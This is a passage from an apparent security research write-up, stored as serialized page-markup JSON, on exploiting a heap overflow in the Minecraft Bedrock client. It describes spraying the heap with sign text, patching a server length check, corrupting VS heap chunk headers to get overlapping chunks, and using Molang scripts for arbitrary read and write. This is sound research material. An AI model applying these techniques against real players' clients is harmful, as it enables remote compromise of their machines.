sign_location\n",{"type":19,"tag":168,"props":149093,"children":149094},{"class":170,"line":21242},[149095],{"type":19,"tag":168,"props":149096,"children":149097},{"style":212},[149098],{"type":24,"value":122601},{"type":19,"tag":168,"props":149100,"children":149101},{"class":170,"line":21250},[149102,149106,149110,149114],{"type":19,"tag":168,"props":149103,"children":149104},{"style":393},[149105],{"type":24,"value":148594},{"type":19,"tag":168,"props":149107,"children":149108},{"style":212},[149109],{"type":24,"value":948},{"type":19,"tag":168,"props":149111,"children":149112},{"style":175},[149113],{"type":24,"value":148201},{"type":19,"tag":168,"props":149115,"children":149116},{"style":212},[149117],{"type":24,"value":870},{"type":19,"tag":168,"props":149119,"children":149120},{"class":170,"line":21287},[149121,149125,149129,149133,149137,149141],{"type":19,"tag":168,"props":149122,"children":149123},{"style":393},[149124],{"type":24,"value":148614},{"type":19,"tag":168,"props":149126,"children":149127},{"style":212},[149128],{"type":24,"value":948},{"type":19,"tag":168,"props":149130,"children":149131},{"style":175},[149132],{"type":24,"value":148222},{"type":19,"tag":168,"props":149134,"children":149135},{"style":212},[149136],{"type":24,"value":500},{"type":19,"tag":168,"props":149138,"children":149139},{"style":181},[149140],{"type":24,"value":148231},{"type":19,"tag":168,"props":149142,"children":149143},{"style":212},[149144],{"type":24,"value":557},{"type":19,"tag":168,"props":149146,"children":149147},{"class":170,"line":21300},[149148],{"type":19,"tag":168,"props":149149,"children":149150},{"style":212},[149151],{"type":24,"value":122601},{"type":19,"tag":168,"props":149153,"children":149154},{"class":170,"line":21313},[149155],{"type":19,"tag":168,"props":149156,"children":149157},{"emptyLinePlaceholder":14},[149158],{"type":24,"value":1093},{"type":19,"tag":168,"props":149160,"children":149161},{"class":170,"line":21326},[149162,149166,149170],{"type":19,"tag":168,"props":149163,"children":149164},{"style":212},[149165],{"type":24,"value":148497},{"type":19,"tag":168,"props":149167,"children":149168},{"style":399},[149169],{"type":24,"value":7032},{"type":19,"tag":168,"props":149171,"children":149172},{"style":212},[149173],{"type":24,"value":9217},{"type":19,"tag":168,"props":149175,"children":149176},{"class":170,"line":21380},[149177],{"type":19,"tag":168,"props":149178,"children":149179},{"style":212},[149180],{"type":24,"value":752},{"type":19,"tag":168,"props":149182,"children":149183},{"class":170,"line":21389},[149184],{"type":19,"tag":168,"props":149185,"children":149186},{"style":212},[149187],{"type":24,"value":761},{"type":19,"tag":168,"props":149189,"children":149190},{"class":170,"line":29753},[149191],{"type":19,"tag":168,"props":149192,"children":149193},{"style":212},[149194],{"type":24,"value":1326},{"type":19,"tag":168,"props":149196,"children":149197},{"class":170,"line":29774},[149198],{"type":19,"tag":168,"props":149199,"children":149200},{"emptyLinePlaceholder":14},[149201],{"type":24,"value":1093},{"type":19,"tag":168,"props":149203,"children":149204},{"class":170,"line":78440},[149205,149210,149214,149219,149223,149228,149232,149237,149241,149246,149250,149254],{"type":19,"tag":168,"props":149206,"children":149207},{"style":393},[149208],{"type":24,"value":149209},"world",{"type":19,"tag":168,"props":149211,"children":149212},{"style":212},[149213],{"type":24,"value":948},{"type":19,"tag":168,"props":149215,"children":149216},{"style":393},[149217],{"type":24,"value":149218},"afterEvents",{"type":19,"tag":168,"props":149220,"children":149221},{"style":212},[149222],{"type":24,"value":948},{"type":19,"tag":168,"props":149224,"children":149225},{"style":393},[149226],{"type":24,"value":149227},"playerSpawn",{"type":19,"tag":168,"props":149229,"children":149230},{"style":212},[149231],{"type":24,"value":948},{"type":19,"tag":168,"props":149233,"children":149234},{"style":175},[149235],{"type":24,"value":149236},"subscribe",{"type":19,"tag":168,"props":149238,"children":149239},{"style":212},[149240],{"type":24,"value":28995},{"type":19,"tag":168,"props":149242,"children":149243},{"style":393},[149244],{"type":24,"value":149245},"arg",{"type":19,"tag":168,"props":149247,"children":149248},{"style":212},[149249],{"type":24,"value":481},{"type":19,"tag":168,"props":149251,"children":149252},{"style":382},[149253],{"type":24,"value":12268},{"type":19,"tag":168,"props":149255,"children":149256},{"style":212},[149257],{"type":24,"value":691},{"type":19,"tag":168,"props":149259,"children":149260},{"class":170,"line":78453},[149261,149266],{"type":19,"tag":168,"props":149262,"children":149263},{"style":175},[149264],{"type":24,"value":149265}," create_wall",{"type":19,"tag":168,"props":149267,"children":149268},{"style":212},[149269],{"type":24,"value":1084},{"type":19,"tag":168,"props":149271,"children":149272},{"class":170,"line":78461},[149273],{"type":19,"tag":168,"props":149274,"children":149275},{"style":212},[149276],{"type":24,"value":32812},{"type":19,"tag":168,"props":149278,"children":149279},{"class":170,"line":78469},[149280],{"type":19,"tag":168,"props":149281,"children":149282},{"emptyLinePlaceholder":14},[149283],{"type":24,"value":1093},{"type":19,"tag":168,"props":149285,"children":149286},{"class":170,"line":78477},[149287,149291,149295,149300,149304,149309,149313,149317,149321,149325,149329,149333,149337,149341],{"type":19,"tag":168,"props":149288,"children":149289},{"style":393},[149290],{"type":24,"value":149209},{"type":19,"tag":168,"props":149292,"children":149293},{"style":212},[149294],{"type":24,"value":948},{"type":19,"tag":168,"props":149296,"children":149297},{"style":393},[149298],{"type":24,"value":149299},"beforeEvents",{"type":19,"tag":168,"props":149301,"children":149302},{"style":212},[149303],{"type":24,"value":948},{"type":19,"tag":168,"props":149305,"children":149306},{"style":393},[149307],{"type":24,"value":149308},"playerLeave",{"type":19,"tag":168,"props":149310,"children":149311},{"style":212},[149312],{"type":24,"value":948},{"type":19,"tag":168,"props":149314,"children":149315},{"style":175},[149316],{"type":24,"value":149236},{"type":19,"tag":168,"props":149318,"children":149319},{"style":212},[149320],{"type":24,"value":500},{"type":19,"tag":168,"props":149322,"children":149323},{"style":382},[149324],{"type":24,"value":33620},{"type":19,"tag":168,"props":149326,"children":149327},{"style":212},[149328],{"type":24,"value":461},{"type":19,"tag":168,"props":149330,"children":149331},{"style":393},[149332],{"type":24,"value":149245},{"type":19,"tag":168,"props":149334,"children":149335},{"style":212},[149336],{"type":24,"value":481},{"type":19,"tag":168,"props":149338,"children":149339},{"style":382},[149340],{"type":24,"value":12268},{"type":19,"tag":168,"props":149342,"children":149343},{"style":212},[149344],{"type":24,"value":691},{"type":19,"tag":168,"props":149346,"children":149347},{"class":170,"line":78517},[149348,149353],{"type":19,"tag":168,"props":149349,"children":149350},{"style":175},[149351],{"type":24,"value":149352}," remove_wall",{"type":19,"tag":168,"props":149354,"children":149355},{"style":212},[149356],{"type":24,"value":1084},{"type":19,"tag":168,"props":149358,"children":149359},{"class":170,"line":78525},[149360],{"type":19,"tag":168,"props":149361,"children":149362},{"style":212},[149363],{"type":24,"value":32812},{"type":19,"tag":20,"props":149365,"children":149366},{},[149367],{"type":24,"value":149368},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":19,"tag":20,"props":149370,"children":149371},{},[149372],{"type":19,"tag":1344,"props":149373,"children":149376},{"alt":149374,"src":149375},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":19,"tag":20,"props":149378,"children":149379},{},[149380],{"type":24,"value":149381},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":19,"tag":16345,"props":149383,"children":149385},{"id":149384},"a-small-roadblock",[149386],{"type":24,"value":149387},"A Small Roadblock",{"type":19,"tag":20,"props":149389,"children":149390},{},[149391],{"type":24,"value":149392},"While testing our heap spray method, we encountered the following error:",{"type":19,"tag":158,"props":149394,"children":149396},{"code":149395},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n at alloc (index.js:169)\n",[149397],{"type":19,"tag":27,"props":149398,"children":149399},{"__ignoreMap":7},[149400],{"type":24,"value":149395},{"type":19,"tag":20,"props":149402,"children":149403},{},[149404,149406,149412],{"type":24,"value":149405},"An error is thrown by the server executable while trying to assign text longer than ",{"type":19,"tag":27,"props":149407,"children":149409},{"className":149408},[],[149410],{"type":24,"value":149411},"512",{"type":24,"value":149413}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":19,"tag":20,"props":149415,"children":149416},{},[149417],{"type":24,"value":149418},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":19,"tag":20,"props":149420,"children":149421},{},[149422],{"type":24,"value":149423},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":19,"tag":20,"props":149425,"children":149426},{},[149427],{"type":19,"tag":1344,"props":149428,"children":149430},{"alt":48061,"src":149429},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":19,"tag":20,"props":149432,"children":149433},{},[149434,149436,149442],{"type":24,"value":149435},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":19,"tag":27,"props":149437,"children":149439},{"className":149438},[],[149440],{"type":24,"value":149441},"string_length \u003C= 512",{"type":24,"value":149443}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":19,"tag":20,"props":149445,"children":149446},{},[149447],{"type":24,"value":149448},"The disassembly of the comparison looks like this:",{"type":19,"tag":20,"props":149450,"children":149451},{},[149452],{"type":19,"tag":1344,"props":149453,"children":149455},{"alt":48061,"src":149454},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":19,"tag":20,"props":149457,"children":149458},{},[149459,149461,149466,149468,149473,149474,149479,149481,149487,149489,149495,149497,149502,149504,149509],{"type":24,"value":149460},"The code compares ",{"type":19,"tag":27,"props":149462,"children":149464},{"className":149463},[],[149465],{"type":24,"value":54258},{"type":24,"value":149467}," (the string length) to ",{"type":19,"tag":27,"props":149469,"children":149471},{"className":149470},[],[149472],{"type":24,"value":125301},{"type":24,"value":461},{"type":19,"tag":27,"props":149475,"children":149477},{"className":149476},[],[149478],{"type":24,"value":149411},{"type":24,"value":149480}," decimal). It then performs a ",{"type":19,"tag":27,"props":149482,"children":149484},{"className":149483},[],[149485],{"type":24,"value":149486},"jbe",{"type":24,"value":149488},", jumping to address ",{"type":19,"tag":27,"props":149490,"children":149492},{"className":149491},[],[149493],{"type":24,"value":149494},"0x14275114c",{"type":24,"value":149496}," if ",{"type":19,"tag":27,"props":149498,"children":149500},{"className":149499},[],[149501],{"type":24,"value":54258},{"type":24,"value":149503}," is less than or equal to ",{"type":19,"tag":27,"props":149505,"children":149507},{"className":149506},[],[149508],{"type":24,"value":149411},{"type":24,"value":149510},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":19,"tag":20,"props":149512,"children":149513},{},[149514,149516,149521,149523,149529],{"type":24,"value":149515},"To force execution down this path, we patched the ",{"type":19,"tag":27,"props":149517,"children":149519},{"className":149518},[],[149520],{"type":24,"value":149486},{"type":24,"value":149522}," instruction to an unconditional ",{"type":19,"tag":27,"props":149524,"children":149526},{"className":149525},[],[149527],{"type":24,"value":149528},"jmp",{"type":24,"value":149530},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":19,"tag":20,"props":149532,"children":149533},{},[149534],{"type":19,"tag":1344,"props":149535,"children":149537},{"alt":48061,"src":149536},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":19,"tag":20,"props":149539,"children":149540},{},[149541,149543,149548,149550,149555],{"type":24,"value":149542},"After patching the server and calling ",{"type":19,"tag":27,"props":149544,"children":149546},{"className":149545},[],[149547],{"type":24,"value":147652},{"type":24,"value":149549}," with a size of ",{"type":19,"tag":27,"props":149551,"children":149553},{"className":149552},[],[149554],{"type":24,"value":55632},{"type":24,"value":149556},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":19,"tag":20,"props":149558,"children":149559},{},[149560],{"type":19,"tag":1344,"props":149561,"children":149563},{"alt":48061,"src":149562},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":19,"tag":16245,"props":149565,"children":149566},{},[],{"type":19,"tag":20,"props":149568,"children":149569},{},[149570],{"type":24,"value":149571},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":19,"tag":20,"props":149573,"children":149574},{},[149575],{"type":24,"value":149576},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":19,"tag":7050,"props":149578,"children":149580},{"id":149579},"overlapping-heap-chunks",[149581],{"type":24,"value":149582},"Overlapping Heap Chunks",{"type":19,"tag":20,"props":149584,"children":149585},{},[149586,149588,149593],{"type":24,"value":149587},"The attack is described in detail in the referenced blog post (",{"type":19,"tag":269,"props":149589,"children":149591},{"href":147396,"rel":149590},[273],[149592],{"type":24,"value":45066},{"type":24,"value":149594},"), so we will present a high-level overview.",{"type":19,"tag":20,"props":149596,"children":149597},{},[149598,149600,149606],{"type":24,"value":149599},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":19,"tag":27,"props":149601,"children":149603},{"className":149602},[],[149604],{"type":24,"value":149605},"_HEAP_VS_CHUNK_HEADER",{"type":24,"value":149607}," structure layout is required:",{"type":19,"tag":158,"props":149609,"children":149611},{"code":149610}," +---------------------------+ +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |\n +---------------------------+ +---------------+\n+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |\n +---------------------------+ +---------------+\n+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |\n +---------------------------+ +---------------+\n | . . . | +0x6 |Allocated |\n +---------------+\n | . . . |\n",[149612],{"type":19,"tag":27,"props":149613,"children":149614},{"__ignoreMap":7},[149615],{"type":24,"value":149610},{"type":19,"tag":20,"props":149617,"children":149618},{},[149619,149621,149627,149629,149635,149636,149642,149643,149649,149651,149656,149658,149663,149665,149671,149673,149678,149680,149686],{"type":24,"value":149620},"At offset 0 there is a header ",{"type":19,"tag":27,"props":149622,"children":149624},{"className":149623},[],[149625],{"type":24,"value":149626},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":24,"value":149628}," containing fields such as ",{"type":19,"tag":27,"props":149630,"children":149632},{"className":149631},[],[149633],{"type":24,"value":149634},"MemoryCost",{"type":24,"value":471},{"type":19,"tag":27,"props":149637,"children":149639},{"className":149638},[],[149640],{"type":24,"value":149641},"UnsafeSize",{"type":24,"value":471},{"type":19,"tag":27,"props":149644,"children":149646},{"className":149645},[],[149647],{"type":24,"value":149648},"UnsafePrevSize",{"type":24,"value":149650},", etc. For the attack we only care about the ",{"type":19,"tag":27,"props":149652,"children":149654},{"className":149653},[],[149655],{"type":24,"value":149641},{"type":24,"value":149657}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":19,"tag":27,"props":149659,"children":149661},{"className":149660},[],[149662],{"type":24,"value":123924},{"type":24,"value":149664},", so for a chunk of size ",{"type":19,"tag":27,"props":149666,"children":149668},{"className":149667},[],[149669],{"type":24,"value":149670},"0x4010",{"type":24,"value":149672}," the value of ",{"type":19,"tag":27,"props":149674,"children":149676},{"className":149675},[],[149677],{"type":24,"value":149641},{"type":24,"value":149679}," would be ",{"type":19,"tag":27,"props":149681,"children":149683},{"className":149682},[],[149684],{"type":24,"value":149685},"0x401",{"type":24,"value":948},{"type":19,"tag":20,"props":149688,"children":149689},{},[149690,149691,149696],{"type":24,"value":61702},{"type":19,"tag":27,"props":149692,"children":149694},{"className":149693},[],[149695],{"type":24,"value":149641},{"type":24,"value":149697}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":19,"tag":20,"props":149699,"children":149700},{},[149701,149703,149708,149710,149715,149717,149723,149725,149730],{"type":24,"value":149702},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":19,"tag":27,"props":149704,"children":149706},{"className":149705},[],[149707],{"type":24,"value":149641},{"type":24,"value":149709}," in the smallest possible VS chunk (",{"type":19,"tag":27,"props":149711,"children":149713},{"className":149712},[],[149714],{"type":24,"value":149670},{"type":24,"value":149716},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":19,"tag":27,"props":149718,"children":149720},{"className":149719},[],[149721],{"type":24,"value":149722},"[0x10, 0xffff0]",{"type":24,"value":149724}," range, the probability that it exceeds ",{"type":19,"tag":27,"props":149726,"children":149728},{"className":149727},[],[149729],{"type":24,"value":149670},{"type":24,"value":149731}," is:",{"type":19,"tag":158,"props":149733,"children":149735},{"code":149734},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[149736],{"type":19,"tag":27,"props":149737,"children":149738},{"__ignoreMap":7},[149739],{"type":24,"value":149734},{"type":19,"tag":20,"props":149741,"children":149742},{},[149743],{"type":24,"value":149744},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":19,"tag":20,"props":149746,"children":149747},{},[149748],{"type":24,"value":149749},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":19,"tag":16345,"props":149751,"children":149753},{"id":149752},"overlap-attack-overview",[149754],{"type":24,"value":149755},"Overlap Attack Overview",{"type":19,"tag":20,"props":149757,"children":149758},{},[149759,149761,149766],{"type":24,"value":149760},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":19,"tag":27,"props":149762,"children":149764},{"className":149763},[],[149765],{"type":24,"value":123947},{"type":24,"value":149767}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":19,"tag":20,"props":149769,"children":149770},{},[149771,149773,149778,149780,149785],{"type":24,"value":149772},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":19,"tag":27,"props":149774,"children":149776},{"className":149775},[],[149777],{"type":24,"value":145655},{"type":24,"value":149779},"-sized chunks in the free list that we want to avoid. If a ",{"type":19,"tag":27,"props":149781,"children":149783},{"className":149782},[],[149784],{"type":24,"value":145655},{"type":24,"value":149786},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":19,"tag":20,"props":149788,"children":149789},{},[149790,149792,149797],{"type":24,"value":149791},"To remove those ",{"type":19,"tag":27,"props":149793,"children":149795},{"className":149794},[],[149796],{"type":24,"value":145655},{"type":24,"value":149798},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":19,"tag":20,"props":149800,"children":149801},{},[149802],{"type":24,"value":149803},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":19,"tag":158,"props":149805,"children":149807},{"code":149806},"+--------+--------+--------+--------+--------+\n| | | | | |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n| | | | | |\n+--------+--------+--------+--------+--------+\n",[149808],{"type":19,"tag":27,"props":149809,"children":149810},{"__ignoreMap":7},[149811],{"type":24,"value":149806},{"type":19,"tag":20,"props":149813,"children":149814},{},[149815,149817,149822,149824,149829],{"type":24,"value":149816},"Next we create ",{"type":19,"tag":293,"props":149818,"children":149819},{},[149820],{"type":24,"value":149821},"holes",{"type":24,"value":149823}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":19,"tag":27,"props":149825,"children":149827},{"className":149826},[],[149828],{"type":24,"value":145655},{"type":24,"value":149830},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":19,"tag":158,"props":149832,"children":149834},{"code":149833}," Free Free \n+--------+--------+--------+--------+--------+\n| |........| |........| |\n| Sign A |........| Sign C |........| Sign F |\n| |........| |........| |\n+--------+--------+--------+--------+--------+\n",[149835],{"type":19,"tag":27,"props":149836,"children":149837},{"__ignoreMap":7},[149838],{"type":24,"value":149833},{"type":19,"tag":20,"props":149840,"children":149841},{},[149842,149844,149849,149851,149856],{"type":24,"value":149843},"When a ",{"type":19,"tag":27,"props":149845,"children":149847},{"className":149846},[],[149848],{"type":24,"value":145655},{"type":24,"value":149850}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":19,"tag":27,"props":149852,"children":149854},{"className":149853},[],[149855],{"type":24,"value":149641},{"type":24,"value":149857}," field will be overwritten:",{"type":19,"tag":158,"props":149859,"children":149861},{"code":149860}," +--------+ \n Free | | \n+--------+--------+--------+ g->out +--------+\n| |........| | | |\n| Sign A |........| Sign C +--------+ Sign F |\n| |........| | | |\n+--------+--------+--------+ +--------+\n",[149862],{"type":19,"tag":27,"props":149863,"children":149864},{"__ignoreMap":7},[149865],{"type":24,"value":149860},{"type":19,"tag":20,"props":149867,"children":149868},{},[149869,149871,149876,149878,149883,149885,149890],{"type":24,"value":149870},"Once ",{"type":19,"tag":27,"props":149872,"children":149874},{"className":149873},[],[149875],{"type":24,"value":149641},{"type":24,"value":149877}," has been overwritten, ",{"type":19,"tag":27,"props":149879,"children":149881},{"className":149880},[],[149882],{"type":24,"value":145655},{"type":24,"value":149884}," allocation is freed immediately after, restoring the previous layout but with ",{"type":19,"tag":27,"props":149886,"children":149888},{"className":149887},[],[149889],{"type":24,"value":149641},{"type":24,"value":149891}," field corrupted:",{"type":19,"tag":158,"props":149893,"children":149895},{"code":149894}," UnsafeSize Overwritten\n ^ \n | \n Free Free | \n+--------+--------+--------+--------+---+----+ \n| |........| |........| | \n| Sign A |........| Sign C |........| Sign F | \n| |........| |........| | \n+--------+--------+--------+--------+--------+ \n",[149896],{"type":19,"tag":27,"props":149897,"children":149898},{"__ignoreMap":7},[149899],{"type":24,"value":149894},{"type":19,"tag":20,"props":149901,"children":149902},{},[149903],{"type":24,"value":149904},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":19,"tag":158,"props":149906,"children":149908},{"code":149907}," UnsafeSize Overwritten\n ^ \n | \n | \n+--------+--------+--------+--------+---+----+ \n| | | | | | \n| Sign A | Sign B | Sign C | Sign D | Sign F | \n| | | | | | \n+--------+--------+--------+--------+--------+ \n",[149909],{"type":19,"tag":27,"props":149910,"children":149911},{"__ignoreMap":7},[149912],{"type":24,"value":149907},{"type":19,"tag":20,"props":149914,"children":149915},{},[149916],{"type":24,"value":149917},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":19,"tag":158,"props":149919,"children":149921},{"code":149920}," Freed Overwritten \n | \n +----------+----------+\n | |\n Free Free v v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........| |........| |........| \n|........| Sign B |........| Sign D |........| Other chunks\n|........| |........| |........| \n+--------+--------+--------+--------+--------+- - - - - - -\n",[149922],{"type":19,"tag":27,"props":149923,"children":149924},{"__ignoreMap":7},[149925],{"type":24,"value":149920},{"type":19,"tag":16245,"props":149927,"children":149928},{},[],{"type":19,"tag":20,"props":149930,"children":149931},{},[149932],{"type":24,"value":149933},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":19,"tag":20,"props":149935,"children":149936},{},[149937],{"type":24,"value":149938},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":19,"tag":7050,"props":149940,"children":149942},{"id":149941},"molang",[149943],{"type":24,"value":149944},"Molang",{"type":19,"tag":20,"props":149946,"children":149947},{},[149948,149950,149957],{"type":24,"value":149949},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":19,"tag":269,"props":149951,"children":149954},{"href":149952,"rel":149953},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[273],[149955],{"type":24,"value":149956},"syntax guide",{"type":24,"value":948},{"type":19,"tag":20,"props":149959,"children":149960},{},[149961,149963,149968,149969,149974],{"type":24,"value":149962},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":19,"tag":27,"props":149964,"children":149966},{"className":149965},[],[149967],{"type":24,"value":6013},{"type":24,"value":8436},{"type":19,"tag":27,"props":149970,"children":149972},{"className":149971},[],[149973],{"type":24,"value":13136},{"type":24,"value":149975}," operators are supported.",{"type":19,"tag":20,"props":149977,"children":149978},{},[149979,149981,149987,149989,149994,149996,150001,150002,150007,150008],{"type":24,"value":149980},"Variables are defined by prepending ",{"type":19,"tag":27,"props":149982,"children":149984},{"className":149983},[],[149985],{"type":24,"value":149986},"variable.",{"type":24,"value":149988}," to the name and assigning a value. For example, to define ",{"type":19,"tag":27,"props":149990,"children":149992},{"className":149991},[],[149993],{"type":24,"value":6522},{"type":24,"value":149995}," as the sum of ",{"type":19,"tag":27,"props":149997,"children":149999},{"className":149998},[],[150000],{"type":24,"value":269},{"type":24,"value":8436},{"type":19,"tag":27,"props":150003,"children":150005},{"className":150004},[],[150006],{"type":24,"value":621},{"type":24,"value":12778},{"type":19,"tag":27,"props":150009,"children":150011},{"className":150010},[],[150012],{"type":24,"value":150013},"variable.result = variable.a + variable.b;",{"type":19,"tag":20,"props":150015,"children":150016},{},[150017,150019,150024,150025,150030,150031,150036,150037,150042],{"type":24,"value":150018},"Logical operators such as ",{"type":19,"tag":27,"props":150020,"children":150022},{"className":150021},[],[150023],{"type":24,"value":19874},{"type":24,"value":471},{"type":19,"tag":27,"props":150026,"children":150028},{"className":150027},[],[150029],{"type":24,"value":70684},{"type":24,"value":471},{"type":19,"tag":27,"props":150032,"children":150034},{"className":150033},[],[150035],{"type":24,"value":3240},{"type":24,"value":471},{"type":19,"tag":27,"props":150038,"children":150040},{"className":150039},[],[150041],{"type":24,"value":7905},{"type":24,"value":150043},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":19,"tag":158,"props":150045,"children":150047},{"code":150046},"(variable.result == 3) ? {\n return 1;\n} : {\n return 0;\n}\n",[150048],{"type":19,"tag":27,"props":150049,"children":150050},{"__ignoreMap":7},[150051],{"type":24,"value":150046},{"type":19,"tag":20,"props":150053,"children":150054},{},[150055],{"type":24,"value":150056},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":19,"tag":16345,"props":150058,"children":150060},{"id":150059},"molang-internals",[150061],{"type":24,"value":150062},"Molang Internals",{"type":19,"tag":20,"props":150064,"children":150065},{},[150066],{"type":24,"value":150067},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":19,"tag":20,"props":150069,"children":150070},{},[150071],{"type":24,"value":150072},"Below we describe the structures involved and their memory layout.",{"type":19,"tag":16345,"props":150074,"children":150076},{"id":150075},"molangvariable-and-molangscriptarg",[150077],{"type":24,"value":150078},"MolangVariable and MolangScriptArg",{"type":19,"tag":20,"props":150080,"children":150081},{},[150082,150083,150089],{"type":24,"value":99838},{"type":19,"tag":27,"props":150084,"children":150086},{"className":150085},[],[150087],{"type":24,"value":150088},"MolangVariable",{"type":24,"value":150090}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":19,"tag":158,"props":150092,"children":150094},{"code":150093,"language":543,"meta":7,"className":13963,"style":7},"struct MolangVariable {\n \n struct HashedString {\n uint64_t variable_name_hash;\n std::string variable_name;\n };\n \n struct MolangScriptArg {\n uint32_t value_type;\n uint64_t value;\n std::vector\u003Cstruct MolangScriptArg> struct_fields;\n \n [...]\n };\n};\n",[150095],{"type":19,"tag":27,"props":150096,"children":150097},{"__ignoreMap":7},[150098,150110,150117,150129,150142,150150,150157,150164,150176,150189,150201,150231,150239,150246,150253],{"type":19,"tag":168,"props":150099,"children":150100},{"class":170,"line":171},[150101,150105],{"type":19,"tag":168,"props":150102,"children":150103},{"style":382},[150104],{"type":24,"value":6842},{"type":19,"tag":168,"props":150106,"children":150107},{"style":212},[150108],{"type":24,"value":150109}," MolangVariable {\n",{"type":19,"tag":168,"props":150111,"children":150112},{"class":170,"line":198},[150113],{"type":19,"tag":168,"props":150114,"children":150115},{"style":212},[150116],{"type":24,"value":59271},{"type":19,"tag":168,"props":150118,"children":150119},{"class":170,"line":415},[150120,150124],{"type":19,"tag":168,"props":150121,"children":150122},{"style":382},[150123],{"type":24,"value":3487},{"type":19,"tag":168,"props":150125,"children":150126},{"style":212},[150127],{"type":24,"value":150128}," HashedString {\n",{"type":19,"tag":168,"props":150130,"children":150131},{"class":170,"line":450},[150132,150137],{"type":19,"tag":168,"props":150133,"children":150134},{"style":382},[150135],{"type":24,"value":150136}," uint64_t",{"type":19,"tag":168,"props":150138,"children":150139},{"style":212},[150140],{"type":24,"value":150141}," variable_name_hash;\n",{"type":19,"tag":168,"props":150143,"children":150144},{"class":170,"line":560},[150145],{"type":19,"tag":168,"props":150146,"children":150147},{"style":212},[150148],{"type":24,"value":150149}," std::string variable_name;\n",{"type":19,"tag":168,"props":150151,"children":150152},{"class":170,"line":666},[150153],{"type":19,"tag":168,"props":150154,"children":150155},{"style":212},[150156],{"type":24,"value":36472},{"type":19,"tag":168,"props":150158,"children":150159},{"class":170,"line":694},[150160],{"type":19,"tag":168,"props":150161,"children":150162},{"style":212},[150163],{"type":24,"value":59271},{"type":19,"tag":168,"props":150165,"children":150166},{"class":170,"line":707},[150167,150171],{"type":19,"tag":168,"props":150168,"children":150169},{"style":382},[150170],{"type":24,"value":3487},{"type":19,"tag":168,"props":150172,"children":150173},{"style":212},[150174],{"type":24,"value":150175}," MolangScriptArg 